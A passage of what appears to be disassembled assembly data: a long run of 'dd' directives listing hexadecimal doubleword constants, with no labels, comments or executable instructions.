		dd 534A6CA0h, 686F1F95h, 4B0A80A1h, 0F5A2D7Ah, 0A8E40D1Eh
		dd 1B8B9A63h, 45780A8h,	3224EE0Ch, 0BC680834h, 36D380DCh
		dd 0BCFA742Eh, 0F5B26F00h, 2B59158Dh, 982B8B6h,	4F86F817h
		dd 23E0342Eh, 0CD1E5BAh, 3859FC2Ch, 4A84E490h, 60B74503h
		dd 0C0890C6h, 67BB7519h
		dd 8600F0C1h, 0CAC8779Fh, 27737B39h, 64C84159h,	50B11906h
		dd 2D3F1D00h, 0B30597h,	4E4B1F9Fh, 40109003h, 8CF83428h
		dd 204E0F42h, 166AC778h, 1292B300h, 87D7DB47h, 5E4800A2h
		dd 24ECEAF6h, 785295C2h, 80683EA8h, 3371544Eh, 2EAF5634h
		dd 954B0CFh, 7C4613F5h,	8281450Fh, 835C55Fh, 0C8FB3801h
		dd 0E4F49016h, 3A5C0086h, 10707E1Ch, 94964062h,	1CB4374Eh
		dd 951B038Fh, 7323BE49h, 506452E8h, 0C1205490h,	607C09E0h
		dd 8C027F1Eh, 7304CFE9h, 297960C2h, 0BC2C28D8h,	211EA4A5h
		dd 65DADEDEh, 14FF4349h, 0D0EE0148h, 0E04C79C8h, 633FF98Eh
		dd 6680DCA8h, 5B0FC95Ah, 416579B6h, 0BBB959A3h,	86F0406Ah
		dd 419D9243h, 51752200h, 0EA94DF77h, 681918E4h,	3DD1610Ch
		dd 201DC000h, 0BBB87EC5h, 0D8724FA1h, 12008550h, 843A1378h
		dd 5C43534Bh, 28003594h, 16E6D93Fh, 6E007FD2h, 7A15ECA4h
		dd 0BCAC4068h, 0C5768060h, 580FDACCh, 3F382F76h, 0B59A0285h
		dd 7BC6D116h, 708711B4h, 0D8CAEE5Bh, 0CA5E0800h, 1BF2E79Fh
		dd 7D01D24h, 913E6409h,	286E8BDCh, 300BD3Ch, 0B031C05Eh
		dd 18E3889Dh, 4CBA0D08h, 3638DF59h, 14F127EBh, 721B0078h
		dd 0AD7F10AEh, 6EB0BFFFh, 96545E02h, 0D417EC61h, 519B4040h
		dd 0D72CBB59h, 0E90126C9h, 8465AF7h, 7E8463Ah, 100061E8h
		dd 4D8E3C5Dh, 758322F4h, 805A3974h, 24868227h, 0D012815Bh
		dd 0C490199Eh, 267D64h,	61582827h, 9C38999Ah, 0D12563B8h
		dd 656091C9h, 110F20Dh,	0FBD62EE2h, 1703F28h, 0F1D17F49h
		dd 6D620FADh, 3E1200B0h, 0E7C613CFh, 23E0E96Fh,	255E12EAh
		dd 778CB69Ch, 0BA210E01h, 0AC327617h, 0ED001C32h, 0D14DA210h
		dd 7C006813h, 7BEBF036h, 6043CDEFh, 813491D8h, 30E9A1B6h
		dd 42144D14h, 5897C18Fh, 6C0424Ch, 0A5633C8Ch, 0A911DFAh
		dd 0B1BB8054h, 0A89A27FAh, 8C7C207h, 71A13006h,	0B8210FB6h
		dd 3809838h, 59294EC3h,	0F775AA00h, 0BA8F8450h,	4BAC5B18h
		dd 0ECFA0798h, 0F5D17B07h, 36B07146h, 0B109A41h, 783CEC04h
		dd 0D172EC00h, 6F4E4BC7h, 0F7A1CD8h, 9BDB84DCh,	0C0E15525h
		dd 0EDD253CAh, 576C9400h, 6DBBEFD4h, 9AC2121Fh,	615022E8h
		dd 4219C921h, 8F05F8h, 0E5680A1Fh, 11C13156h, 93F77F05h
		dd 54405A61h, 449AE0F9h, 98A60E40h, 4C825E18h, 9B607845h
		dd 0CC254D71h, 54B01213h, 98942808h, 864E2C0Ch,	59F640FCh
		dd 46EEA203h, 99B6EA01h, 0CFA54A01h, 6C806C6Ch,	953F0385h
		dd 0A768B927h, 0E01F7A54h, 0B6310F2Ah, 59930030h, 6EE210F7h
		dd 0F007D2A3h, 0BB9CA480h, 8040533Bh, 915B21E1h, 3A0486F5h
		dd 9F9B18CEh, 849945C0h, 24800929h, 6848EC02h, 0D1C0E677h
		dd 0BA81AC46h, 0EEFB0F58h, 37409C3Fh, 7CA0FA64h, 58830939h
		dd 0C89D389Ch, 0BC5C2EA4h, 0CAEF0EC0h, 4A4FB899h, 18EC8CAAh
		dd 0FD09AB1Dh, 790E4ADh, 0AFEC531h, 0F4A3101Fh,	0BF001741h
		dd 4F91D924h, 2674D1AEh, 265CC5Ah, 10A8237Ah, 2B004C51h
		dd 1DB0D532h, 0EA390138h, 0F3C9442Ah, 0F0A09C21h, 68049027h
		dd 90C4EB6h, 9C49FF04h,	0E01D1078h, 8B240371h, 80F2B961h
		dd 0C444ECF1h, 2C124922h, 4CC81490h, 0B6B9020Bh, 18B494A8h
		dd 0FB7E20E6h, 5AABA900h, 0E00C8523h, 4DA40287h, 64584A7Eh
		dd 7859A4E1h, 60358B98h, 13ED4368h, 0A6ABEF76h,	589F10F0h
		dd 0AA733300h, 6C6085D8h, 0E4341100h, 79074D5Bh, 884252CDh
		dd 18085C7Ch, 82A10C80h, 1A01079Eh, 420F9BD1h, 4E3E998Dh
		dd 7F715BF8h, 4BD7943Ah, 0FE907067h, 0F5C678h, 0AC2A0ABCh
		dd 4B5597F7h, 876E8314h, 88B0B99h, 800451FFh, 19E335E7h
		dd 4E14A7F7h, 4290902Ah, 96B600B8h, 254D6B9Fh, 7F501DD7h
		dd 95DD8348h, 0C05DE32Eh, 0FF0505DCh, 0B8A20233h, 0C0C4101Dh
		dd 2FE0A9E5h, 28CC3B62h, 228190Ch, 0E6E7600Fh, 78610EA5h
		dd 0FC7CFCF2h, 80FC68F9h, 39D57747h, 3C263D05h,	1F79E680h
		dd 336BC954h, 71344F4h,	0B4B71074h, 447F310h, 0AC4C717Bh
		dd 672298F2h, 1DE41F00h, 0C82CC2BFh, 70515887h,	0B07EBBC0h
		dd 285C81B6h, 467918B7h, 25ABE52Ch, 0EC840FA1h,	5BCD4570h
		dd 1AFC4CCCh, 90B10424h, 17E0B8F6h, 4ACC2F46h, 0AB7C4B47h
		dd 840C5010h, 31250200h, 0D2DDD75h, 0B42901F8h,	86F25A72h
		dd 90DC3CB9h, 0A3257228h, 32B49072h, 0E5210594h, 60DDC262h
		dd 0E40C89A4h, 64FD9F00h, 5E67D72Ah, 0D17C004Ah, 0C1A75DE1h
		dd 0D90228A9h, 80697022h, 0FD384364h, 2F789C32h, 0AC9D8C61h
		dd 0E145F4CAh, 10F18F34h, 4875A480h, 626C96ECh,	0D45C7C1Ch
		dd 0B6B81050h, 0C3F7425Ch, 0EB42A4A2h, 4595FCE6h, 0C20C0788h
		dd 0F0B4B780h, 0DE7D4A19h, 0B71BA39h, 69F008D4h, 899F6174h
		dd 0B4902F6Ch, 89A0749Bh, 0C70B295Eh, 0AA08560h, 6114E2B8h
		dd 8884E8Ch, 6B9D00E8h,	8BBAC6FAh, 2028F92h, 89FFA2B1h
		dd 34986010h, 617EB09Eh, 0E393108Eh, 80C07867h,	4C44AB27h
		dd 0BA0203CEh, 0B6C7E7EAh, 0A30CC5BCh, 0D5E51080h, 0F200B03Ah
		dd 0E6C40CEBh, 39F70218h, 105C121Ch, 6CEC1C89h,	0DD620052h
		dd 1112F23Eh, 2128DF1Eh, 0AE40C478h, 91609E5Bh,	3010030Ch
		dd 0D0177227h, 594A080h, 0C8D190FDh, 7294A138h,	0F90B00F4h
		dd 6DE8D6C3h, 3F64834h,	170C2324h, 0B108199h, 0C5951116h
		dd 300B0BF6h, 0A988C4A0h, 73001CF7h, 0F35D7C3Eh, 70676BD0h
		dd 22F15AEFh, 0E8335C98h, 2F78515h, 72049DEFh, 34873D64h
		dd 0E38BB8C7h, 28550C05h, 317D6915h, 37FE4A2h, 569D2C56h
		dd 9C07B722h, 0C6FD072h, 0C4B60FBEh, 0A0B80B47h, 0DD2A0764h
		dd 0E0C4868Fh, 463ABBCCh, 218A371Ch, 14391C80h,	0B694A3C9h
		dd 27A991D0h, 80F46A07h, 7F3028A9h, 0D20D032Fh,	0BE1A4C10h
		dd 0ABE0B4EDh, 0ECB8A9D2h, 16550180h, 13008BE3h, 34D5C415h
		dd 1FB71BBBh, 0C00F9Ch,	35107395h, 69C0E508h, 413EA7D8h
		dd 40300790h, 39215D8Fh, 94B41052h, 1933EA40h, 441E0A99h
		dd 6FA05C6Ch, 57717D61h, 268C72F3h, 0AA4390ABh,	0BF66F8C3h
		dd 814D00ADh, 0C9EA0903h, 0D896483Ah, 254F6909h, 18C8B3FCh
		dd 3DEE2523h, 68B5F859h, 0F603DCA6h, 926FB1F9h,	28FD2FA9h
		dd 0D025806Ch, 3ACFC39h, 1E88CBE1h, 0F5806CBEh,	0F4A09974h
		dd 0CC132083h, 0B0498F44h, 0D8E6B0h, 0FF3DDA7Fh, 61F7E52Fh
		dd 0C88384Bh, 0CE510120h, 0D113A6FAh, 4A2823C9h, 0B3364CCh
		dd 4350F781h, 0E7A0AC64h, 0E71CE2F2h, 0B801D4A9h, 398252E4h
		dd 955FCCCh, 979349DFh,	0D242D4F8h, 0C0926527h,	3671640h
		dd 0FEE3B105h, 0E08B9AD1h, 759C1E00h, 0A72AA89Bh, 5D0E3200h
		dd 0DDFB0B2Bh, 5EE404E9h, 0E2AF6DAAh, 0ECE600E8h, 95D00F2Eh
		dd 0CF5C017Bh, 0CA725301h, 70643A13h, 4844D8E8h, 5A363C8Ch
		dd 4A8C804Fh, 8601BB84h, 790CE63h, 7474A3EFh, 0F5C8C8B3h
		dd 17F9D180h, 918E4DFEh, 3DA9134h, 50BFB1F1h, 0DE809CEDh
		dd 164B4CD1h, 926240C8h, 60F53C60h, 0BED30566h,	4FA140BCh
		dd 0AF036772h, 0AF192C8h, 613EE0D5h, 0C1284E03h, 725694h
		dd 5B5E58F7h, 7BB8C24Fh, 0C0006871h, 0B2A0AC5Ch, 0BF58003Ah
		dd 0C6A0ED0h, 46FA4344h, 0A418997Bh, 79B1E518h,	348500B0h
		dd 6E8E320Bh, 88A01ED2h, 7006575Ch, 23868BFh, 73B8888Eh
		dd 368E0918h, 0F4F89713h, 7FB05C53h, 7500B5EAh,	22EA100Dh
		dd 583CF156h, 0F42FD8FCh
		dd 8DBF8C40h, 64FE1227h, 0D5B50094h, 0D89E1F3Ch, 7E006FC1h
		dd 4B8EFAFDh, 0F8B47525h, 0DFE6B2h, 4773C98Bh, 405CD109h
		dd 0C4E4352Bh, 48E9B440h, 5A5200E0h, 4CB5B954h,	400EDC8Dh
		dd 6349C4EFh, 278F109Fh, 0B8459A4Ch, 0B8BCE107h, 52F6E7F0h
		dd 9B6407E3h, 73A6C0Ah,	0C8FCB269h, 0E8632840h,	432F6889h
		dd 8198A5FCh, 84550488h, 0A6B90113h, 0A7821C03h, 823B0DCh
		dd 4449CC3h, 8C1A43CDh,	5845A50h, 0A3BA236Ch, 7B90A418h
		dd 2586FC13h, 0B1EC1CA5h, 2EA51FFBh, 23888261h,	0C0C62181h
		dd 6A915D01h, 28960BC9h, 5CDF4CE8h, 0E62E6997h,	8D88174Eh
		dd 46C9E0ACh, 0DB5BAE17h, 0FF4CC8h, 7919FB83h, 70F60CD3h
		dd 0CE029CFEh, 0F78D97F2h, 1168C5FCh, 5E5A824Dh, 0E42C6AD8h
		dd 0BE8900B8h, 5C7C1E69h, 25BF8E75h, 74CCC46Ch,	9CC500E7h
		dd 0AC34535Fh, 4C0218BFh, 2398C62h, 4438A2EBh, 0C958180Dh
		dd 0A4E7B71Ch, 8066BB08h, 239F7A2Dh, 4901E983h,	78DEA0D8h
		dd 0C041D57Ch, 0D82EE13Ah, 0EE95FA18h, 27F202A0h, 4B268128h
		dd 0D921C54h, 291EFCE7h, 874540D1h, 15F79586h, 0BD62300h
		dd 0F85FDE3Ah, 0CE9E3C80h, 0A4F2673Ch, 845B00FCh, 8A2E8C0Ch
		dd 2D00C277h, 0D7051B20h, 2DEF1617h, 20E4CEBAh,	38D2862Ch
		dd 6825DB11h, 0E397F0A0h, 0B008810h, 343799B7h,	0E0F66756h
		dd 600F4DEBh, 449B732Fh, 0FC04F1E6h, 0EFC25ACCh, 320000B2h
		dd 4F24C868h, 0DB0F8AE6h, 0C3FA8B7Ch, 9A482FEFh, 206044F8h
		dd 125E0D5h, 4F946454h,	7C54C810h, 76B05700h, 0EC81DBC3h
		dd 38AF0055h, 0C668B139h, 0C17F53D9h, 5C5854B0h, 9D0858BEh
		dd 48B33E57h, 0AECE1F02h, 8A20DFACh, 0EC07B58h,	0A2275D74h
		dd 9EC5F140h, 7A139F15h, 0E41640D4h, 80D78408h,	739C3C10h
		dd 591EC9A9h, 0A8E42C8Fh, 18959383h, 0B2BBA172h, 20FC6189h
		dd 0D1567882h, 627F8C69h, 0EAB0073Ch, 8DD06538h, 996241D4h
		dd 3EDC0184h, 818CCBFDh, 9E0A18DCh, 69AD2767h, 51BA24E1h
		dd 4476CDC8h, 90A08CE0h, 0F762661Ch, 55C20A5h, 9FC7AEh
		dd 0FBDEA6EEh, 4F10BA14h, 6045100h, 0F76DE15Dh,	0E8545C78h
		dd 0A2E75B17h, 0DDC78080h, 0DAAC93h, 625BD3C6h,	1561DF1Eh
		dd 0D6334F12h, 68ACC9h,	2068AF13h, 40CBF924h, 7300ACE2h
		dd 2E76E509h, 4822F7FCh, 0DAC51839h, 0EA70C018h, 1F3FD1DCh
		dd 0B8C95061h, 12C8BC48h, 54A301C8h, 29949E00h,	399AEA49h
		dd 2F70CC58h, 1DBCCEC2h, 0EC2B899Dh, 0F8910203h, 28F4F13Ch
		dd 0D67462C7h, 202E20A5h, 721C89A0h, 4BDB593Ch,	41820460h
		dd 33500FDh, 6D909677h,	512FCDB9h, 0CEEC91DCh, 74C96910h
		dd 2E2B000h, 0B8EDD43h,	10680099h, 0F3311963h, 0A613C734h
		dd 54F4620Fh, 1249FE5Ch, 3E188F7h, 0DF0C7E8Eh, 0BE38F4A0h
		dd 282CB9FEh, 51253C76h, 8DED40C0h, 0F600F2EBh,	90D68C53h
		dd 0BE4A476h, 0C87F24BFh, 50F4E8E2h, 888C1864h,	0D4C801DAh
		dd 0E9ADAB4Ah, 0C4F9D0E3h, 39D5333Fh, 70589202h, 0C84C7CE2h
		dd 78E6F125h, 0EA0BE8F6h, 4A5F71CBh, 40B07EACh,	0B0394E36h
		dd 0BA647803h, 0E9A54D1Bh, 0F048AFD3h, 98C0A6EBh, 0F6D00D4h
		dd 1CE9C9EFh, 85E1B0Eh,	762F5840h, 1F8C5A9h, 10809D91h
		dd 69EE6D62h, 732208h, 0DA1341AFh, 8F7C4D12h, 0C0954272h
		dd 13A56004h, 94EFE16h,	0B8C4675Ch, 0DB038D1Fh,	99A8DC00h
		dd 2ADC26Ch, 71952812h,	925D755Bh, 108CD9B4h, 419AC84Dh
		dd 309526D5h, 0CCB14CB8h, 9ABF3702h, 0EEB8410Fh, 88038070h
		dd 80A43DB7h, 0C5F4AF8h, 0F971ACC8h, 0B8E4EA13h, 0ACA87540h
		dd 0C90EE6B0h, 0B3D7FB2Ch, 25EFCA0h, 0FFAC5F0h,	488093C4h
		dd 22EFFEA9h, 95B1D601h, 48CE808Bh, 0C074247Ah,	0F70D3980h
		dd 10A6674h, 785086E3h,	0D9D38209h, 8F8A8024h, 0B387B876h
		dd 4E5C5D50h, 0EF7C0344h, 41018040h, 0B34F0396h, 204ED71h
		dd 61343900h, 5623906Eh, 0BACB26AFh, 433740F8h,	5A002C88h
		dd 0E648AD89h, 0B7D739h, 0FEB882F8h, 8420FDAh, 0E0107935h
		dd 3F51FC2Ch, 0E7B0C1E8h, 0B8B6CAF0h, 2698DFE1h, 0AE7C4F0Ah
		dd 8216823Ch, 0A4E822EDh, 4FE45CDCh, 0CDB14200h, 0D802F413h
		dd 9D1AFD5Eh, 1440E4BBh, 9F4D27CEh, 88EF7716h, 99008988h
		dd 0CB5AA691h, 1C73261h, 0A2A59517h, 2356120Fh,	34AF00D4h
		dd 0B47CC4A7h, 62363804h, 28FB939h, 0B6937ABh, 27559C18h
		dd 47523D00h, 0C0AB9232h, 2D11EC84h, 18E6EDBFh,	0BE8E3000h
		dd 0F2C43C1Dh, 0CBF50090h, 15012DA4h, 7801088Ah, 95BACE11h
		dd 20735B14h, 0A8C5AF03h, 2AF045D9h, 0E9040DBCh, 446558DCh
		dd 468E2082h, 8B5F5E74h, 5B083C78h, 40AA108Ch, 6725FCC1h
		dd 28B8594Dh, 4C5D0B1Ch, 982A98Eh, 0B8D4798Fh, 57B6DF80h
		dd 6114C4h, 9B0C07D7h, 44BE5949h, 0B9C09102h, 0C039DBCAh
		dd 2406F2E4h, 1E8D728h,	1C55B082h, 0B92070CFh, 4F968C94h
		dd 9480A4B2h, 0F05C3B8Ch, 5CF95838h, 47CDC410h,	64E6E0C4h
		dd 409B130Fh, 0EB786F40h, 0F7381645h, 30DB81F6h, 0EC6B7D2Fh
		dd 4B63B0F0h, 148F3CCh,	382167F7h, 1C636879h, 0CF252300h
		dd 0A4BD4C09h, 81A5270Bh, 0A74CA011h, 8866AD1Dh, 9707AF26h
		dd 25C94DC6h, 3210ACh, 0BE9D7234h, 0C7FE1923h, 4274E997h
		dd 0F8A85AF0h, 0C2B03E6Eh, 546EB2A5h, 5D9A2003h, 0F47564ACh
		dd 5ACDBAC0h, 2D8300B5h, 0B3E1A82h, 6B4F798Eh, 0E6ECA832h
		dd 89751FC8h, 782F8C4h,	0B1215D02h, 0D2031461h,	0C60010D9h
		dd 7CEA2D69h, 98E470B2h, 77A886A5h, 212900DCh, 6C5A491Eh
		dd 64980CADh, 0CFD55104h, 9C4D812h, 60DC00BBh, 135E8FB0h
		dd 288F0D5Ah, 4FCCF809h, 0D244A444h, 112A017Eh,	12B6D6DBh
		dd 4B65FD7Ah, 2C771120h, 300E1709h, 3256AC8Fh, 6F20D8E4h
		dd 316F740h, 0DE91042Fh, 71C8C73Dh, 0AA4F86B5h,	0CAB17420h
		dd 0B0FA0B4Eh, 835FC13Ah, 0C81550B8h, 21DC216h,	8E472DBCh
		dd 0CCD03378h, 0CD2093B5h, 0EF2544E3h, 347D7890h, 5F2C85F9h
		dd 0C8E84AEAh, 0CD47810h, 0A95EF101h, 821005Ch,	404F0FFDh
		dd 504BCC36h, 0F200A4F3h, 0CDEC48A1h, 0F4A67544h, 3D10D744h
		dd 7ABB226Bh, 3090231Bh, 6D12C887h, 0AC0020A7h,	1E2541Ch
		dd 0D4069216h, 13F5E107h, 0B0449748h, 0ABDEE600h, 957C8E02h
		dd 8FA00B54h, 45A12A9h,	274890BDh, 0AAEE00B6h, 0CDE6677Ch
		dd 0BC1A71A5h, 639806BAh, 0E8C0EC24h, 9DD07238h, 700804Ch
		dd 4D0D0A11h, 3157E1h, 8EE4FA28h, 0C7FFB603h, 81F665E4h
		dd 717D2D05h, 0CCE25558h, 0C08EDB85h, 0A93D691h, 27063F27h
		dd 0A0104F64h, 21D2CD1h, 0D66D24EAh, 1FE202DEh,	4A340357h
		dd 18D03D8Ah, 5851E7A5h, 29090449h, 10AC12C1h, 55F0A5F9h
		dd 16FF2EDCh, 13E208C8h, 795CC625h, 0E4A128FCh,	0FE4310F8h
		dd 6058E0h, 53BE87DFh, 7239594h, 0CB9910B0h, 3CE1707Ah
		dd 22EE3F62h, 0FCB3724Eh, 0F8168121h, 849F400h,	9F014159h
		dd 0E9006CE6h, 0EFE86BDFh, 3E3145h, 0AC9D78EEh,	929F7E0Fh
		dd 7BC8669Fh, 43623598h, 0D8440859h, 1422CCA6h,	61599A2Fh
		dd 0B7F0A400h, 0DCFC04EDh, 0FD86F77Ch, 271E488Ch, 1059B3h
		dd 4A5B8B7Bh, 0AB0C4887h, 4133D54Bh, 0F20188B0h, 84E03C4Ch
		dd 0C422EB5Ch, 0B34CE821h, 0F3A1F0h, 53941D46h,	99BD92A6h
		dd 0DD652000h, 9015F4D0h, 1BF175Ah, 2B788CE8h, 344C2AF8h
		dd 525B3B40h, 69E530E4h
		dd 8150A4h, 0FA8D5CDCh,	1F95922Bh, 0DCB9E00h, 9A071598h
		dd 23B1724h, 5878B6ECh,	8CEF0388h, 0A5D1E4A9h, 0D90B088h
		dd 6266D4F7h, 1CCC63D0h, 0F12513CEh, 0FB340708h, 420BF0EDh
		dd 74BD2DDh, 0F68D3849h, 23A38038h, 1673E218h, 0C74F1E00h
		dd 12558315h, 58A1588Eh, 18969779h, 4F0C3900h, 68C52684h
		dd 0F9E31D4Ch, 0B90DCE06h, 0BDF7C00h, 0BD7638F7h, 0C3785516h
		dd 0CCA298C4h, 0FB1C601h, 3AED023Dh, 3800A48Ah,	1F6F331Bh
		dd 850079C0h, 7219D668h, 922093Fh, 8236B0Fh, 8925B4F4h
		dd 0F01670h, 0B8264091h, 94D078Dh, 5E10D502h, 40EF993Fh
		dd 90F9D8Ch, 0CC6CD150h, 0B0022CD1h, 66C4FDCDh,	4F710060h
		dd 946D19DFh, 0D1C3B646h, 0E85AD57Bh, 12E6C412h, 8CED0193h
		dd 811C94C0h, 530BF861h, 4128792Fh, 2D7880B7h, 1BCB0080h
		dd 3E3C92E7h, 6D3CC0D6h, 87261FACh, 49A46A00h, 0EF089FDFh
		dd 0B86497C2h, 3BC0FF00h, 408B2BCEh, 45132C69h,	807027DDh
		dd 24BA9Fh, 0E77CB2C8h,	13CF05FBh, 0FCD876F8h, 0C6212F70h
		dd 6C00B7ECh, 23C158FEh, 4BBEA499h, 8F1338B3h, 8940182h
		dd 2BAFFE87h, 0A85418C8h, 3F06E8h, 59E5CACh, 770CA433h
		dd 59D13B17h, 69FDFD00h, 4B6168ADh, 0BE848817h,	481FE3FAh
		dd 0AC00DB06h, 0F202C3CCh, 5F2E2E7Eh, 55F909E0h, 32E7845Ch
		dd 0D56D8450h, 9C0900C3h, 655D0EEh, 0AA792CB8h,	18A6FA16h
		dd 5A1CA4h, 1796B7Eh, 961B1724h, 8CC5F71Fh, 18166413h
		dd 0A8F86865h, 1234E34Eh, 70976371h, 1596D2A1h,	0D460BC71h
		dd 72DC9025h, 892FE969h, 53F40C74h, 0CB4548h, 0AF82A643h
		dd 4CD2Fh, 993D11DCh, 97B50BF2h, 53670F25h, 0CAE408CCh
		dd 1902373Eh, 481A0160h, 0CE720B5Bh, 4899EB4Fh,	1C2C08CCh
		dd 407D0340h, 0B409F1E9h, 8737682h, 59A8EE09h, 0A9B881B7h
		dd 0C22E0BA4h, 16D58C7Ch, 45931620h, 0EC9CC8A6h, 61412D07h
		dd 133004C0h, 12F67897h, 0FD95ABF5h, 71B91090h,	0F958E302h
		dd 0F4E2017Bh, 79007CF9h, 66EC1A44h, 2EB7E4A3h,	27E45CF6h
		dd 0CB00F8F9h, 0D9DC2A65h, 239D3FE3h, 73352501h, 706811AFh
		dd 0EA89CCF8h, 5C0A9CCCh, 0D04390EFh, 0E025E458h, 5F470CF9h
		dd 0C0798F01h, 4990207Fh, 8B30D169h, 0AA9A31D4h, 903604C7h
		dd 0C254CD74h, 18801BF0h, 6EABF282h, 81C7B63Fh,	0CE9025E1h
		dd 0D6FA0148h, 0FED7C0F8h, 1D008013h, 696EF332h, 4B495028h
		dd 11F4E371h, 3051C1ACh, 1324C5C2h, 2CC600A9h, 82B7DD27h
		dd 0E2F69700h, 0A787F0ACh, 4AE0000Eh, 0B9959391h, 210FEF54h
		dd 422C1970h, 409EB571h, 0B8142ECCh, 4ECD25A8h,	0D03438A7h
		dd 0B7CAEA71h, 9AEF9805h, 9C085C93h, 8C594479h,	6325B104h
		dd 0E39019CCh, 0A1F7DC53h, 287034C9h, 2A4D88F6h, 0CC451CB8h
		dd 0B2E0F5F5h, 6F151E9Ch, 504497Fh, 0AA7B6C84h,	142DA04Bh
		dd 35C50038h, 5488B9CEh, 9507B1ABh, 39F5EB8Fh, 0AFE90730h
		dd 614975A9h, 51CD794Eh, 0FC777AFFh, 0CB8DA100h, 575909B6h
		dd 2491EE01h, 40203F10h, 58F519h, 0BAD4C238h, 0C36AFB8Ch
		dd 0E71FD80Bh, 80C80B5Bh, 1764CAC4h, 0B8EA4CFFh, 1C417844h
		dd 0DCC288Fh, 3E18A556h, 8B01E831h, 0E4F871C8h,	5BBE0172h
		dd 0D76C563Eh, 0D633F912h, 0F1D170DCh, 75126708h, 0B44CD531h
		dd 7F7E1BEh, 89B44A0Fh,	0BA2CD51Dh, 5E6A1821h, 0E818AE4h
		dd 16036734h, 4B84F582h, 89CD54C9h, 0D6DA5460h,	77B50C8h
		dd 73190865h, 0BC6C188Dh, 0F85E7689h, 0EDDA58h,	40F5C603h
		dd 0EC47D75Ah, 869DD0B3h, 536598Fh, 9F8185DAh, 9068CB5Bh
		dd 80A4F293h, 379F648Fh, 0D4F20263h, 89C87092h,	0EE8B9840h
		dd 4C88E106h, 25A04DBBh, 8C05E3B2h, 0D0A413D2h,	0AB733470h
		dd 6F018DFCh, 0D61F4778h, 0D864EFCEh, 90FA82F9h, 2B47CD2Fh
		dd 0E5FC0450h, 22E41D53h, 71383400h, 10886ACFh,	1750980Ah
		dd 23BBB95Ah, 0F097DCD8h, 3B90848Fh, 0C5FE111Ch, 51651ADEh
		dd 0E0F40058h, 0ECB7C463h, 0E9961500h, 3AD453E5h, 0F53102A5h
		dd 0E4398E1Eh, 5809FC53h, 0F1270541h, 938068ECh, 0BAEA05F3h
		dd 0D36F562Dh, 7D98008h, 36CF2F8h, 79C04A2Dh, 95EE8924h
		dd 1768700Ch, 4C240094h, 90036511h, 7F21D2F7h, 0A8E250A2h
		dd 147F2442h, 0FE6C07ECh, 0D03282B8h, 8C3E1D9Dh, 7CF60705h
		dd 0B8C14DCDh, 0D4D1AD5Bh, 20415CE1h, 286BFA01h, 0AA77C4B8h
		dd 9C2FB000h, 0AD758A8Fh, 9A677ED3h, 0E80D2670h, 0CF860238h
		dd 8C400F61h, 969871D1h, 0FC4A20A4h, 7C0538E3h,	0B375CDAFh
		dd 166CC19Ch, 0EFF44767h, 0BC93246Fh, 0FCB28F78h, 34643192h
		dd 7D246D08h, 974D4500h, 0FF832CBBh, 6D5400B2h,	0FBE00A86h
		dd 0A4B44327h, 0BBCF1340h, 0E6731CD4h, 48EA0015h, 52FFFE49h
		dd 909A870h, 893D50B9h,	4268C6A4h, 80E30094h, 3607B12Dh
		dd 13E89A16h, 0FDEFE475h, 803B9EDCh, 969381Eh, 5B91189h
		dd 722388DCh, 0B82C1C64h, 60814100h, 0C2188EE5h, 0FCBCC2B5h
		dd 0FA25C0ACh, 52D649Bh, 751440B5h, 627BF918h, 7CE064B0h
		dd 3C2E9066h, 0D5009D04h, 8C7BAF03h, 21335FF4h,	0E8D8F378h
		dd 90F89DB5h, 0BC408E14h, 0BD9600D2h, 179AB173h, 0D53701D7h
		dd 0F90EE20h, 80407C3Eh, 43975419h, 0C91F0024h,	0A826AB51h
		dd 603D7844h, 5825FC52h, 2CCD964h, 42C17ABFh, 0FBC86B60h
		dd 0ECEF600h, 7F453530h, 0EAF1FA73h, 23551393h,	0B08E321h
		dd 8B351868h, 2584C428h, 0EC58938Eh, 19D34AEEh,	0B5802CF8h
		dd 15CA56D2h, 1F623Eh, 0E9C615Fh, 14F211h, 5180C6ECh, 67BD37AAh
		dd 89D2BC3Dh, 10E2A8Fh,	1534F2E4h, 0FB60D82Ah, 46EC8500h
		dd 52764C55h, 7517077Bh, 0A04A6B65h, 0CDD107E0h, 0EF717910h
		dd 88DB4C50h, 0C9000F4Ah, 910E3F49h, 1FE63A9Bh,	40437589h
		dd 7CC5EFADh, 264F8FE8h, 0BCCAA4C4h, 11ACFA01h,	0E8D754C9h
		dd 53B0CB17h, 62C4B400h, 97F0A4D6h, 41084E0Bh, 0D7B967B0h
		dd 94D07CFCh, 0FC30D67Ch, 1560AEh, 241F04BEh, 0D1FE1C9Dh
		dd 0D4958E4Eh, 20CD1882h, 2C586667h, 451A0701h,	7EDBD7B7h
		dd 441830A5h, 0B13A035Ah, 0C48A4A71h, 121EC001h, 0E87C2E45h
		dd 90975BAFh, 1E06A6E0h, 4109CA21h, 2C53C9D2h, 68DC314Fh
		dd 0CF88070h, 3B4971h, 0E24B0892h, 0CA17B7CBh, 1551CBA0h
		dd 9D4C8A61h, 84F20809h, 2F40D9C0h, 0A11DE8C7h,	0AD850E00h
		dd 0EE2A6184h, 3864976Bh, 0E99C1800h, 5E6DF49Ah, 3236001Fh
		dd 0B76B830Fh, 0C4BC017Dh, 2A40042Eh, 13CA8C1Fh, 22F94Eh
		dd 18E8D818h, 0A901BA77h, 3154E038h, 0DC2E8AF0h, 9C4052C8h
		dd 5F4E5A71h, 0ED28B838h, 17594A14h, 55C04014h,	82535494h
		dd 5ECAA502h, 744BC5D7h, 0D954060h, 0B500EA31h,	0C8B81AFCh
		dd 3D1D724Ah, 0A505B653h, 0C48BD189h, 8870BAC0h, 99B8C18h
		dd 368D935Ch, 4A4124FCh, 0F5C81184h, 0F290182Eh, 1E643861h
		dd 80280F41h, 5EF13480h, 337DD7CEh, 11006148h, 0D10B525Bh
		dd 5C18668Ch, 1C0118D4h, 893CD205h, 0C4CD7810h,	2994887Ah
		dd 65480803h, 0E2BF42A3h, 0F474EBE1h, 0AE80D8BCh, 2A52164Ch
		dd 6C548700h, 2350B08h,	4A0600C7h, 32B24FB5h, 0DC325634h
		dd 8454B9C3h, 38EB7F48h, 0B7848108h, 0F019B011h, 0E7134AB5h
		dd 29010341h, 5A51105Fh, 5C6D7060h, 0B84CFC6Fh,	0F0169080h
		dd 0C0289722h, 4054E0B9h, 0F4B668B4h, 1EB8C42Dh, 80978069h
		dd 9160ABA9h
		dd 0C39F961Bh, 0AC408504h, 9550FB3Bh, 4B8F000Fh, 0E27693F4h
		dd 4005344Ch, 0BFBAF019h, 9522B0CEh, 0A7830899h, 0D8C73E4Fh
		dd 2A040Fh, 899B2BE7h, 347D6795h, 5D96EE0Eh, 584A5F03h
